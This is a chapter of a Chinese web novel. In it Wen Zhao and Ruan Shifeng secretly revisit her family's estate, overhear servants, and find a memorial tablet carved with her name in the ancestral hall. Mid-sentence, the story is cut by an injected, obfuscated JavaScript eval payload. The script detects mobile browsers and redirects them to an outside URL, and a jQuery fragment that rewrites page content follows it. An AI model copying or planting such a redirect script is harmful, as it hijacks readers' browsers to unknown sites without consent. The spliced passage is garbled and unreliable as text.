晨光渗过窗纸时，阮时逢醒了。


    心口那片常年盘踞的阴寒消失了，呼吸是久违的畅通。他睁开眼，望着帐顶繁复的绣纹，没动。昨夜记忆有些模糊，只记得背上一阵尖锐的疼，然后便是无边无际的疲倦，拉扯着他沉入黑甜。再后来，似乎有人替他掖过被角，手指很轻，带着凉意。


    他侧过脸，枕畔空着。屋里炭火将熄未熄，余温尚存。


    门外响起极轻的叩门声，两下，停顿，又一下。


    阮时逢坐起身，披了外袍去开门。


    温招站在廊下，一身素白，脸上没戴面具。晨光清冽，照着她半边脸颊上蜿蜒的暗纹，也照着她眼下一层淡淡的青影。她手里捏着那枚旧得发毛的平安符，指尖无意识地捻着系绳。


    “醒了？”她抬起眼看他，声音有些哑，像一夜没睡好。


    阮时逢点点头，侧身让她进屋。“怎么起这么早？”他问，目光落在她微蹙的眉心上。


    温招没进去，只是站在门槛外。晨风穿过廊下，吹动她额前碎发。她看着阮时逢，看了片刻，才开口：“我要回温府一趟。”


    晨光将熄的炭盆映出最后一点暖色。


    阮时逢握着门框的手指几不可察地收紧了。他没立刻接话，只是看着她。她眼底那层青影很淡，像远山雾霭，却沉甸甸地压着些别的东西。他看得分明，那不仅仅是疲惫。


    “温府？”他重复了一遍，声音放得缓，像是怕惊扰了什么，“怎么忽然想起回去？”


    温招垂下眼，指尖捻着平安符的系绳，那细绳旧得几乎要断了。她没有立刻回答。廊下的风贴着地卷过，带着清晨特有的清冽寒气。半晌，她才抬眼，目光落在他脸上，又像透过他看着别的什么。


    “温韫可能出事了。”她说。声音很平，听不出起伏，只是字句间有种绷紧的涩意，“南漳那边……没了音讯。纸人回来了。”


    阮时逢心口微微一沉。南漳邪祟的事他有所耳闻，也知道温韫在那里。纸人寻不到主，这意味什么，不言而喻。他看着温招，她脸上没什么表情，连那惯常的冷清都淡了些，只剩下一种空茫茫的静。可他知道，那静底下是烧着火的。


    他喉结动了动，没问“确定吗”或是“怎么会”，只是侧身让出更宽的门缝。


    “先进来，”他说，“外头风凉。”


    温招摇摇头，脚下没动。“我得回去看看。”她顿了顿，声音低下去，“或许……他只是回了温府。”


    这话她自己说出来都显得没什么分量，像溺水的人抓住最后一根虚浮的稻草。但她必须去。


    阮时逢沉默地看了她一会儿。晨光在他深色的瞳孔里流转，映出她单薄却挺直的影子。他忽然伸手，不是拉她，只是指尖轻轻拂过她衣袖上沾的一点晨露。


    “我跟你去。”他说，语气寻常得像在说今日天气不错。


    温招眉头蹙起。“你去做什么？”她抬眼看他，目光里带着不赞同，“你的伤刚好，需要静养。温府……也不是什么好去处。”


    “静养也不差这一时半刻。”阮时逢收回手，抄进袖里，身子懒洋洋地往门框上一靠，眉眼间那点惯有的散漫又浮了上来，可眼神却是清亮的，“再说了，温府怎么就不是好去处了？我好歹也是当朝国师，陪你回趟‘娘家’，总不至于被人打出来吧？”


    他故意把“娘家”二字咬得轻飘飘的，带着点戏谑，眼神却一瞬不瞬地看着她，不放过她脸上任何一丝细微的变化。


    温招被他这话噎了一下，耳根泛起极淡的红，不知是恼还是别的。她别开脸，声音硬邦邦的：“胡说什么。我自己能处理。”


    “你能处理是你的事。”阮时逢不退，反而朝她凑近了些，声音压低了，带着点哄劝似的无赖，“可我想陪着你，是我的事。温招，你不能不讲道理。”


    温招转回头瞪他。他却不怕，反而弯起眼睛笑了，那笑容里有光，驱散了清晨最后一点寒意。


    “你看，”他理直气壮地说，甚至带了点小小的得意，“你弟弟不见了，我陪你去找。礼尚往来，下次我丢了，你也得来找我。公平得很。”


    这话说得孩子气，却又奇异地让人心头发软。温招看着他亮晶晶的眼睛，里头清清楚楚映着自己的模样，那些拒绝的话忽然就堵在了喉咙里。


    她沉默了。晨风穿过回廊，远处传来仆人扫洒的细碎声响。


    过了好一会儿，她几不可闻地叹了口气，那叹息轻得像一片羽毛落地。


    “随你。”她终于说，语气里带着无奈，却也有一丝自己都未曾察觉的松动，“但别添乱。”


    阮时逢眼睛立刻亮了，站直身子，拍了拍衣袖上并不存在的灰。


    “放心，”他笑着说，转身进屋去取外袍，声音从里头传来，清朗朗的，“我最会看眼色了。该说话时说话，该闭嘴时闭嘴。”


    “咱们是偷偷去……”


    温招站在门外无奈的开口，听着屋里窸窣的动静，捏着平安符的手指缓缓松开。


    系绳在掌心留下浅浅的勒痕，很快又消失了。


    阮时逢再出来时，已换了身最寻常的素青布袍，头发也只用一根木簪束起。他手里拿着两顶市井常见的遮耳毡帽，将其中一顶轻轻扣在温招头上。


    “这样行么？”他退后半步打量，眼里带着点笑。


    温招没说话，抬手正了正帽檐。帽檐投下的阴影遮住了她上半张脸，也掩去了那暗纹。她转身往外走，脚步很轻，落地几乎无声。


    阮时逢跟在她身后半步，顺手带上了房门。


    马车没停在正门，而是候在后巷一株老槐树下。车是寻常的青篷车，马是普通的栗色马，车夫是个面容憨厚的中年汉子，见他们来，只沉默地点了点头。


    两人一前一后上了车。车厢窄，并肩坐着，膝头几乎相碰。车帘放下，外头市井的声响便隔了一层，只余车轮碾过石板路的辘辘声，规律而单调。


    温招靠着车壁，帽檐依旧低垂。她没看阮时逢，目光落在自己交叠的手上。平安符的系绳从指缝间漏出一小截，随着马车晃动轻轻摇曳。


    阮时逢也没说话。他侧头看着车窗外流过的街景。


    早市刚开，蒸腾的热气里浮动着包子与豆浆的香味，小贩的吆喝声忽远忽近。


    寻常烟火，生动具体，与车厢内的沉寂像是两个世界。


    马车拐出巷口，汇入主街。人流渐密，车速慢了下来。


    “其实，”阮时逢忽然开口，声音在狭窄车厢里显得格外清晰，“温韫那小子，比你以为的机灵。”


    温招指尖微微一动。


    “那年春猎，林子里混进了北边流窜过来的狼。”


    阮时逢依旧看着窗外，语气平常得像在聊天气，“他当时才十三四岁吧？一个人，一把小弓，硬是绕了三里地，把狼引到了侍卫设伏的坡下。”


    他顿了顿，转过头来看她。帽檐下，温招的唇抿得很紧。


    “我师父问他怕不怕，他说怕，但是他着急回去给你带栗子糕，更怕你生气。”


    温招慢慢抬起眼。


    帽檐的阴影里，她的眼睛显得格外深，墨蓝色像沉静的深海。


    “你也说了，那是狼。”她的声音有些低，“可这次，我们连对面是什么都不知道。”


    阮时逢嘴角弯了弯，身子往后靠了靠，肩膀松松地抵着车壁。晨光从帘缝漏进来，在他带笑的侧脸上切出一道柔和的光边。


    “那就更不用怕了。”他声音不高，却稳稳地落在车厢有限的空气里，“知道是什么，反倒容易想太多。不知道，就只管往前走，见招拆招便是。”


    他侧过头，目光落在温招低垂的帽檐上，声音放轻了些，带着点认真的随意：“再说了，温招，你这些年遇到的‘不知道’还少么？不也都过来了。”


    车轮碾过一处不平的石板，车厢轻轻一晃。温招抬起眼，帽檐下的阴影晃了晃，露出她沉静的眼睛。


    “那不一样。”她说。


    “是不一样。”阮时逢从善如流地点点头，随即话锋一转，眼里那点狡黠的光又亮了起来，“这回有我在啊。两个人四只眼睛，总比一个人两只眼睛看得清楚些。就算真的应付不了的……”


    他故意拖长了调子，身子朝她那边倾了倾，距离拉近，能看清她睫毛极细微的颤动。


    “咱们打不过，总还跑得过吧？”他说完，自己先笑了起来，那笑声低低的，带着胸腔轻微的共鸣，在狭小空间里荡开一点真实的暖意，“我这人没别的长处，就是腿脚还算利索。拉着你跑，估计也慢不到哪儿去。”


    温招看着他近在咫尺的笑脸，看着他眼里明晃晃的“我不是在说笑我是认真的”的光，忽然觉得心口那块堵着的东西，松动了些许。


    她没笑，但紧绷的肩线几不可察地缓和下来。


    “谁要你拉。”她别开眼，声音闷在帽檐底下，听着没什么力气。


    “那不行。”阮时逢坐直回去，一本正经地摇头，“路黑，你得牵着。不然走散了，我还得费功夫找。”


    他说得理所当然，仿佛这是天经地义的事。车厢里沉默了片刻，只有车轮规律地响着。


    温招没再反驳。


    她看着自己交握的手，平安符的系绳在指间绕了一圈。然后，她极轻地，几不可闻地，应了一声：


    “……嗯。”


    阮时逢嘴角的弧度深了些。


    他突然看向温招，手臂很自然地抬起，绕过温招的后颈，指尖碰了碰她另一侧的肩膀。


    温招下意识地绷紧了脊背。


    可下一秒，她感觉到颈后微微一沉，有温润的触感贴上皮肤，带着另一个人长久佩戴留下暖而安稳的温度。


    她垂下眼，看见那枚锦鲤玉佩的素面绳结，正静静搭在自己胸前素白的衣料上。


    玉质温润，在昏昧的车厢里泛着内敛的莹光。


    “物归原主。”


    阮时逢的声音在一旁响起，不高，带着他惯有的、那种懒洋洋的调子，像在说一件再寻常不过的小事。


    他收回了手，重新抄进袖里，身子往后靠了靠，目光仍落在窗外。


    温招的手指蜷了蜷。


    玉佩贴在皮肤上，那温度透过衣料，一丝丝渗进来，并不灼人，却存在得不容忽视。


    她能感觉到里面属于她的那半缕魂息，平稳地跳动着，与她自己胸腔里的律动渐渐合拍。


    她没动，也没说话。帽檐下的阴影很好地遮掩了她此刻的神情。


    过了片刻，身旁的人忽然倾身靠近了些。


    温热的呼吸拂过她耳廓，带起一阵细微的颤栗。


    阮时逢的声音压得极低，几乎是气音，一字一字，清晰又缓慢地钻进她耳朵里：


    “有你在，”他顿了顿，气息温热，“就不怕。”


    话音落下，他便退了回去，重新靠回车壁，仿佛刚才那近乎耳语的贴近从未发生。


    只有空气中残留的一点微澜，证明那不是幻觉。


    温招依旧垂着眼。


    车外，叫卖声、马蹄声、孩童的嬉笑声混杂成一片模糊的背景音。


    车内，却静得能听见彼此清浅的呼吸。


    不多时，马车在温府后巷停下时，日头已经升得老高。


    巷子窄而深，两侧高墙夹着，只漏下一线惨白的天光。


    墙根生着滑腻的青苔，空气里有股子经年不散的潮腐气，混着远处飘来的炊烟，味道有些复杂。


    车夫将车停在最暗的角落里，连马都安静，只偶尔打个响鼻。


    阮时逢先跳下车，转身伸手去扶温招。


    温招将手递给他，却没急着落地。


    她站在车辕上，目光扫过这条熟悉又陌生的巷子，最后落在温府那堵高高的后墙上。


    墙是青砖垒的，年头久了，缝里嵌着深色的污垢，像洗不净的血迹。


    墙头立着碎瓷片，在日光下闪着不怀好意的光。


    一切都和记忆中一样，冰冷，戒备森严。


    她垂下眼，指尖在袖中极轻地捻动，一缕若有若无的咒力随之逸出，如薄雾般将两人笼罩。


    《隐尘》生效的瞬间，周遭的世界仿佛隔了一层极薄的纱。


    声音变得遥远模糊，连落在身上的目光都似乎被轻轻拨开。


    “走吧。”温招低声说，声音在咒术的作用下显得更加空灵。


    阮时逢点点头，跟在她身后半步。


    两人沿着墙根阴影走，脚步放得极轻。经过一道侧门时，温招停了一下。


    门是虚掩的，露出一道黑黢黢的缝隙。


    里头传来压低的说话声，是两个婆子在闲扯，声音断断续续，听不真切，两人不禁走近了些。


    巷子里静得能听见墙头枯草被风吹动的簌簌声。


    门缝里透出的声音断断续续，混着捶打衣物的闷响。


    “……你说这叫什么事儿。”一个苍老些的声音，压得低，带着长久劳作的粗哑，“大小姐那头七才过几天？夫人倒好，门上贴喜字……我看着都觉得心里头发寒。”


    捶打声停了停。另一个略显尖细的声音接上，同样压着嗓子：“谁说不是呢。那天我去送浆洗的衣裳，亲眼瞧见的。红艳艳的，贴在门框上角，风一吹哗啦响……你是没看见老爷当时的脸色。”


    “老爷能说什么？府里如今还不是夫人说了算。”粗哑声音叹了口气，捶打声又响起来，一下一下，带着疲惫的节奏，“大小姐在的时候……唉，也是命苦。如今人没了，连个体面都不给留。”


    尖细声音也跟着叹气：“体面？夫人怕是觉得晦气。你没听说么，前几日夫人还在佛堂里念经，说是要驱驱府里的阴气……你想想，这说的是谁？”


    两人都沉默了会儿，只有木杵捶打湿布的闷响，在寂静的巷子里回荡。


    温招站在阴影里，帽檐下的脸看不清表情。阮时逢侧头看她，只看到她抿紧的唇线，和握着平安符、指节微微泛白的手。


    门内的对话又响起来。


    “也是造孽。”粗哑声音说，“大小姐到底也是老爷的亲骨肉……”


    “亲骨肉顶什么用？”尖细声音打断，带着点世故的凉薄，“你是没瞧见，大小姐‘没’了那几天，夫人走路都带着风，脸上那笑意藏都藏不住。昨儿个还吩咐厨房，说往后初一十五的祭品都免了，省得沾了晦气……”


    声音渐渐低下去，变成了模糊的嘀咕。


    日光从高墙缝隙漏下来，在温招脚前投下一道细长的光斑。光斑里有灰尘缓缓浮动。


    阮时逢忽然伸出手，轻轻碰了碰她的衣袖。


    温招转脸看他。


    他脸上没什么特别的表情，只是朝她微微摇了摇头，眼神很静。


    她迈步，没再管那两个婆子，径自往前走去。


    阮时逢跟在她身后。两人脚步落在地上，连灰尘都不曾惊起。


    温府很大。


    回廊曲折，庭院深深。假山石瘦皱漏透，亭台楼阁飞檐斗拱，皆是旧日模样。可穿行其间，却觉得空旷。不是没有人，偶尔能瞥见仆役匆匆走过的背影，或听见远处隐约的交谈，可那热闹是浮的，像隔着一层厚琉璃，传不到心里来。


    空气里飘着淡淡的檀香味，是柳翠惯常礼佛用的香。那味道原本清心宁神，此刻却混着另一种说不清道不明的、仿佛某种事物腐烂前散发出的甜腻气息。


    廊下挂着几盏素白灯笼，纸是新糊的，惨白得晃眼。灯笼下摆着几盆菊花，开得正好，黄黄白白，热闹地簇拥着，与这满府的寂静格格不入。


    经过一座精巧的八角亭时，温招脚步几不可察地顿了一下。


    亭中石桌上还摆着一副残局，黑白子散落，像是有人下到一半匆匆离去，再没回来。边角处放着一只小小的青瓷香炉，炉灰已冷，积了薄薄一层灰。


    她记得这亭子。从前温应寒偶尔得闲，会在这里独自对弈。她有时路过，远远看一眼，从不敢走近。


    阮时逢顺着她的目光望去，又转回来看她。帽檐下，她的侧脸线条绷着，没什么表情，只是垂在身侧的手，指尖无意识地蜷了蜷。


    他没作声，只是伸手，从她肩头拈下一片不知何时沾上的枯叶。动作很轻，像拂去一粒尘埃。


    两人继续往前走。


    越往里，那种空洞的热闹感就越发明显。远处隐约有丝竹声传来，调子欢快，却又断断续续，像唱戏的人走了神，或忘了词。


    转过一道月洞门，眼前豁然开朗。


    是一片开阔的庭院，地面以青砖铺就，缝隙里长出细弱的杂草。正对面是温府正堂，门楣高阔，匾额上“明德堂”三个金漆大字已有些斑驳。


    堂前阶下，左右各立着一只石狮，张牙舞爪，眼珠却黯淡无光。


    此刻，正有两个家仆正踩着梯子，往门楣上挂红绸。


    那绸子红得刺眼，像一泼新鲜的血，衬着素白的灯笼和满庭的寂静，显得突兀又诡异。绸子很长，一端已经挂上檐角，另一端垂下来，在风里软软地飘荡。一个家仆站在梯子顶端，伸手去够另一边的钩子，动作有些笨拙。


    梯子底下还站着个管事模样的人，背着手仰头看着，嘴里催促：“快些快些，仔细别弄皱了！夫人午后要亲自来看的！”


    声音不高，却清晰地传过来。


    温招站在月洞门的阴影里，看着那片刺目的红。


    风穿过庭院，卷起地上几片落叶，打着旋儿，撞在石狮底座上，发出细微的沙沙声。红绸被风带得扬起，又落下，像某种巨大的、无声的叹息。


    阮时逢站在她身侧，忽然低低笑了一声。


    那笑声很短，带着点说不清道不明的意味。他微微偏过头，靠近她耳边，声音压得极轻，热气拂过她耳廓：


    “瞧见没，这红绸挂的。不知道的，还以为温府要娶亲。”


    温招没动，目光仍落在红绸上。


    “或是要办喜丧。”她接了一句，声音平平，听不出情绪。


    阮时逢嘴角弯了弯，没再说话。


    两个家仆终于把红绸挂好，笨手笨脚地爬下梯子。管事又仰头检查了一番，这才满意地点点头，领着人往另一边去了。


    庭院里重归寂静。


    日光斜斜照下来，在青砖地上投出长长短短的影。红绸垂在门楣两侧，静静飘荡。


    温招迈步走出阴影，踏上庭院青砖。


    脚步很轻，落地无声。她径直穿过庭院，走向正堂左侧的一条回廊。那是通往内院的方向。


    阮时逢跟在她身后，目光扫过那两只石狮，扫过阶前新扫过却仍留着水痕的地面，最后落在温招挺直却单薄的背影上。


    回廊曲折，光线渐暗。


    两侧墙上开着漏窗，样式各异，竹影兰草，雕工精细。


    只是窗纸大多陈旧泛黄，有些已经破损，露出后面黑黢黢的洞口。


    廊下越发暗了，漏窗将日光切成细碎的光斑，斜斜投在温招素白的衣摆上，随脚步明明灭灭。


    阮时逢忽然问：“这里还和你印象里一样么？”


    温招脚步未停，目光平视前方昏暗的廊道尽头。


    “花园里本来有一棵古树。”她的声音很轻，不带起伏，像在说别人的事，“有些年头了，枝干很粗，夏天能遮住大半个院子。”


    廊外隐约传来几声鸟鸣，尖细的，很快又远了。


    “我常在那下面站着。”她继续说，手指无意识地拂过冰凉的廊柱，“什么也不做，只是站着。柳翠嫌晦气，说树影罩着人，看着阴沉。”


    阮时逢没接话，只沉默地跟在她身侧半步远的地方。


    “后来就砍了。”温招说。最后几个字散在廊下凝滞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996929|176822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的空气里，没什么分量，却沉沉地坠下去。


    他们转出回廊，眼前豁然是一个荒了的花园。


    说是花园，其实只剩一片枯败的草和几簇蔫了的月季。正中突兀地立着一个矮矮的木桩，截面粗糙，边缘已经朽黑了，像一块陈旧的伤疤曝在日光下。


    温招在园门处停下，远远看着那个木桩。


    阳光很好，亮晃晃地照着枯草，照着木桩上深深浅浅的年轮。那些曾经拼命生长的痕迹，如今只是一圈圈沉默的、等待彻底腐烂的圆。


    “只剩下这个。”她说。


    阮时逢顺着她的目光望去。风穿过荒园，卷起几缕草屑，落在木桩上，又滑下去。


    哭没有用这个道理，温招很小就懂了。


    可除了眼泪，谁能又能真的和谁感同身受？


    祠堂在温府最深的东北角。


    穿过那片荒园，绕过一段几乎被藤蔓吞没的矮墙，便看见一扇褪了色的朱红小门。门虚掩着，从缝隙里能看到里头更深的昏暗，和一点将熄未熄的香火残光。


    温招在门前停住。她抬手，指尖碰到粗糙的木门板，顿了顿，才缓缓推开。


    门轴发出干涩悠长的吱呀声，像一声疲倦的叹息，在寂静的院落里荡开。


    祠堂里光线很暗。只有正前方长明灯一点豆大的火苗，在浑浊的灯油里轻轻晃着，勉强照亮高高低低的牌位。空气里浮着陈年香灰和木头朽坏混合的气味，沉甸甸的，吸进肺里有些发闷。


    温招迈过门槛，走了进去。


    阮时逢跟在后面，脚步放得更轻。他没往深处走，只停在门内两步远的地方，背靠着冰凉的门框，目光安静地落在温招身上。


    温招没有看他。她的目光从进门起，就定在了供桌左侧一个不起眼的角落。


    那里立着一块木牌。木色比其他牌位都深些，边缘已摩挲得圆润，上面刻着的字在昏光里看不太清，只隐约辨得一个“殷”字。


    是她母亲殷姚的灵位。


    温招走过去，脚步很稳。她在蒲团前站定，低头看着那块木牌，看了很久。长明灯的光在她脸上跳跃，将半边暗纹映得忽明忽暗。


    然后，她提起衣摆，慢慢地、端端正正地跪了下去。


    膝盖落在蒲团上，没有声音。


    她挺直背脊，双手合在身前，闭上眼睛。没有上香，没有磕头，只是那样静静地跪着，像一尊突然被时光遗忘的雕像。


    祠堂里静极了，静得能听见自己心跳的声音，一下，一下，撞在胸腔里，沉闷而真实。


    阮时逢靠在门边，看着她的背影。那背影单薄，却挺得笔直，像一棵长在绝壁上的树，根扎在石头缝里，枝叶朝着唯一能看见光的方向。


    过了很久，温招忽然极轻地开口。


    声音在空旷的祠堂里显得格外清晰，又格外恍惚，像从很远的地方飘来。


    “娘。”她叫了一声，顿了顿，才接着说下去，“我回来看您了。”


    她睁开眼，目光依旧落在那个刻着“殷姚”二字的木牌上。那木牌立在那里，安静地，死寂地，永远不会给她任何回应。


    “我还是没听您的话。”温招的声音很平，没什么起伏，像在陈述一件与己无关的事，“您让我别恨，别争，好好活着。可我一件也没做到。”


    她停了停，长明灯的火苗忽然跳了一下，在她眼底映出一瞬破碎的光。


    “我恨了很多人，争了很多事，活得……”她抿了抿唇，后面的话没说出来，只是轻轻摇了摇头，“但我不后悔。若是重来一次，我大概还是会走同样的路。”


    祠堂外有风穿过，摇动廊下残破的铜铃，发出几声零落的轻响。


    温招抬起手，指尖悬在木牌上方一寸的地方，虚虚地抚过那些凹陷的刻痕。她没有碰上去，只是那样悬着，像是怕惊扰了什么。


    “温韫可能出事了。”她低声说，声音里终于带上了一丝极细微的颤，“我还没找到他。若您在天有灵……护着他些。他性子软，容易吃亏。”


    说完这句，她便不再言语，只是静静跪着，目光定定地望着那块木牌，仿佛想从那沉默的木头里，看出一点早已不存在的温度。


    阮时逢依旧靠在门边，没有动，也没有出声。


    他看着她跪得笔直的背影，看着她微微仰起的、在昏光里显出清晰下颌线的侧脸。


    生者和死者之间，其实只隔着一层薄薄的木板。可就是这层木板，划开了阴阳，隔开了所有未尽的言语和来不及的触碰。


    温招又跪了片刻，才缓缓直起身。她的视线不经意地扫过供桌更远些的角落，忽然定住了。


    那里多了一块新制的牌位。


    木色很浅，刻痕崭新，在昏暗光线里甚至泛着一点未褪尽的毛刺感。上面端端正正刻着两个字：


    温招。


    她的名字。


    温招盯着那块牌位，看了很久。脸上没什么表情，甚至比刚才更平静些，只有瞳孔深处那点墨蓝色，几不可察地收缩了一下。


    为自己立牌位是什么感觉？


    她不知道。


    她只看见那块写着“温招”的木头，冷冷地、无辜地立在那里，像一句早已写定的判词，一个她亲手推开却又无声折返的终点。


    死过一次的人，原来就是这样。名字留在木头上，肉身走在人间，魂魄悬在中间，哪边都靠不了岸。


    阮时逢顺着她的目光，也看见了那块新牌位。


    他眉头几不可察地蹙了一下，随即又松开，依旧没说话，只是将身体重心从门框上移开，站直了些。


    温招终于从蒲团上站了起来。


    膝盖有些僵，她微微踉跄了一下，但很快稳住。


    她最后看了一眼母亲殷姚的灵位，又看了一眼旁边那块属于自己的、崭新的木头，然后转过身，朝门外走来。


    经过阮时逢身边时，她脚步没有停。


    阮时逢在她转身时忽然动了。他伸手，不是拦她，而是越过她身侧，径直走向供桌角落。素青的衣袖扫过积尘，他停在那块新牌位前，低头看了片刻。木料很新，刻痕里的金粉还未完全粘牢，在昏光里闪着细碎而廉价的光。


    他伸出手，手指擦过“温招”两个字。木刺扎进指腹，很细的疼。然后他将那块牌子拿了起来，动作很稳，像拿起一件本该属于自己的东西。


    温招在门口停住，回过头看他。祠堂昏暗的光线里，她脸上没什么表情，只是眼睛微微睁大了些。


    阮时逢拿着牌子走回来，停在她面前。牌子在他手里显得很小，一块轻薄的木头，却刻着一个人的名字，一个正好好站在这里的人的名字。


    “这个，”他开口，声音在祠堂空寂的回音里显得格外清楚，“我带走。”


    温招的睫毛颤了一下。“你带走做什么？”她问，声音有些干。


    阮时逢低头看了看手里的木牌，又抬眼看向她。他脸上没什么笑意，眼神很静。


    “看着难受。”他说得直白，手指摩挲过木牌边缘，那里还有匠人匆忙打磨留下的毛糙触感，“你的名字不该刻在这上面。”


    温招沉默地看着他。长明灯的火苗在他身后跳跃，将他半边脸映在暖黄的光里，另半边隐在阴影中。


    她忽然想起很多年前，也是在这个祠堂，她跪在母亲灵位前，听见门外柳翠压低的嗤笑，说“晦气的东西，早晚也得摆上来”。


    如今牌子真的摆上来了，却是被他拿在手里。


    温招突然哼笑了一声，有些好笑的看着他。


    “那应该刻在哪？”温招的眼眸里没有丝毫悲伤，只是等着阮时逢回答。


    阮时逢抿了抿唇，瘪了瘪嘴，吊儿郎当的仰起脸，挑了挑眉道：“若真刻，咱俩的应该摆在一起，我上面就写‘温招之夫阮时逢’，你的就刻‘阮时逢之妻温招’。


    阮时逢话尾音还未散尽，温招已经挑起眉梢看他。


    “我有说我要嫁你吗？”


    声音不高，在祠堂昏沉的光线里清凌凌的，像冰片落在石面上。


    她脸上没什么表情，只有那双向来沉静的墨蓝色眼睛，此刻漾开一点极淡的涟漪，像是被这句话惊扰的深潭。


    阮时逢闻言，非但不恼，反而低低笑了一声。


    那笑声从他喉咙深处滚出来，带着胸腔轻微的震动，在空旷的祠堂里荡开一点真实的暖意。


    他往前凑了半步，素青的衣摆几乎要碰到她素白的裙角。


    他伸出手，用指尖轻轻捻住她一片衣袖的边角，动作很轻，带着点孩子气的、小心翼翼的试探。


    然后他拽着那片衣角，小幅度地晃了晃，力道不大，却足以让两人之间那层若有若无的距离感微微晃动。


    “现在没说，以后总会说的。”他仰着脸看她，那双桃花眼在昏光里亮得惊人，里头清晰地映着她的影子，还有一点坦荡荡的笑意。


    “你若是要嫁给别人……”阮时逢到这里顿了顿，随后晃动的频率也慢了下来，随后重新抬起眉眼，“也得嫁一个比我好的人才行。”他难得的神色认真，目不转睛的盯着温招的双眸。


    比他还好的人吗？


    那当真是这世上找不出第二个了。


    温招看着他难得认真的神情，唇角轻轻弯了一下。


    “世人总说，‘弃我去者不可留，乱我心者多烦忧’。”她声音很轻，在祠堂昏昧的光线里像浮尘缓缓下落，“可我觉得，乱我心者……姑且先留着再看看。”


    她说着，伸手握住他捻着自己衣袖的手指，将他整个手拢进掌心。


    动作很自然，指尖触到他指节时微微顿了顿，然后稳稳握住。


    阮时逢的手指在她掌心里轻轻动了一下，随即安静下来。


    他低头看着两人交握的手，又抬起眼看她。祠堂里长明灯的光在他眼底晃了晃。